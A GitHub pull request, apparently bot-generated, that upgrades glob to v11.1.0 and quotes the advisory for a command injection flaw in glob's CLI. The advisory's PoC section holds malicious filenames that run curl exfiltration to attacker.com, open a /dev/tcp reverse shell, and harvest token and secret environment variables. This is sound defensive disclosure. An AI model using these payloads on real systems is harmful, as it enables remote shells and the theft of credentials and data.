Skip to content

Update dependency glob to v11.1.0 [SECURITY]#5533

Open
openverse-bot wants to merge 1 commit intomainfrom
gha-renovatenpm-glob-vulnerability
Open

Update dependency glob to v11.1.0 [SECURITY]#5533
openverse-bot wants to merge 1 commit intomainfrom
gha-renovatenpm-glob-vulnerability

Conversation

@openverse-bot
Copy link
Copy Markdown
Collaborator

@openverse-bot openverse-bot commented Nov 24, 2025

This PR contains the following updates:

Package Type Update Change
glob devDependencies minor 11.0.0 -> 11.1.0

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source

v11.0.3

Compare Source

v11.0.2

Compare Source

v11.0.1

Compare Source


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@openverse-bot openverse-bot added the dependencies Pull requests that update a dependency file label Nov 24, 2025
@openverse-bot openverse-bot requested a review from a team as a code owner November 24, 2025 08:13
@openverse-bot openverse-bot added 💻 aspect: code Concerns the software code in the repository 🟨 tech: javascript Involves JavaScript 🟩 priority: low Low priority and doesn't need to be rushed 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🧱 stack: frontend Related to the Nuxt frontend labels Nov 24, 2025
@openverse-bot openverse-bot added 🟩 priority: low Low priority and doesn't need to be rushed 💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟨 tech: javascript Involves JavaScript 🧱 stack: frontend Related to the Nuxt frontend labels Nov 24, 2025
@openverse-bot openverse-bot moved this to 👀 Needs Review in Openverse PRs Nov 24, 2025
@github-actions
Copy link
Copy Markdown

github-actions Bot commented Nov 24, 2025

Latest k6 run output1

     ✓ status was 200

     checks.........................: 100.00% ✓ 416      ✗ 0   
     data_received..................: 101 MB  421 kB/s
     data_sent......................: 132 kB  548 B/s
     http_req_blocked...............: avg=61.55µs  min=2.32µs   med=5.05µs   max=1.41ms   p(90)=145.07µs p(95)=249.5µs 
     http_req_connecting............: avg=35.87µs  min=0s       med=0s       max=1.36ms   p(90)=93.19µs  p(95)=180.92µs
     http_req_duration..............: avg=149.73ms min=16.03ms  med=108.87ms max=912.46ms p(90)=333.36ms p(95)=396.99ms
       { expected_response:true }...: avg=149.73ms min=16.03ms  med=108.87ms max=912.46ms p(90)=333.36ms p(95)=396.99ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 416 
     http_req_receiving.............: avg=169.81µs min=63.94µs  med=154.34µs max=570.58µs p(90)=260.8µs  p(95)=289.01µs
     http_req_sending...............: avg=29.07µs  min=8.95µs   med=23.98µs  max=731.5µs  p(90)=41.79µs  p(95)=55.05µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=149.53ms min=15.92ms  med=108.71ms max=912.23ms p(90)=333.06ms p(95)=396.84ms
     http_reqs......................: 416     1.725666/s
     iteration_duration.............: avg=805.01ms min=214.26ms med=897.42ms max=1.64s    p(90)=1.11s    p(95)=1.13s   
     iterations.....................: 78      0.323562/s
     vus............................: 3       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

  1. This comment will automatically update with new output each time k6 runs for this PR

@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 5 times, most recently from beee68a to b784066 Compare November 28, 2025 14:40
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 7 times, most recently from 68470b2 to 8e55e13 Compare December 4, 2025 11:38
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 6 times, most recently from 626748a to ca7525d Compare December 19, 2025 05:10
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 4 times, most recently from bf32dfb to 1f90c0f Compare December 21, 2025 06:11
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 4 times, most recently from 2414638 to 49a47b8 Compare December 31, 2025 15:40
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 7 times, most recently from bfb2d24 to cffc906 Compare January 12, 2026 18:12
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 8 times, most recently from bc6158f to ad0c4aa Compare January 23, 2026 14:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟩 priority: low Low priority and doesn't need to be rushed 🧱 stack: frontend Related to the Nuxt frontend 🟨 tech: javascript Involves JavaScript

Projects

Status: 👀 Needs Review

Development

Successfully merging this pull request may close these issues.

1 participant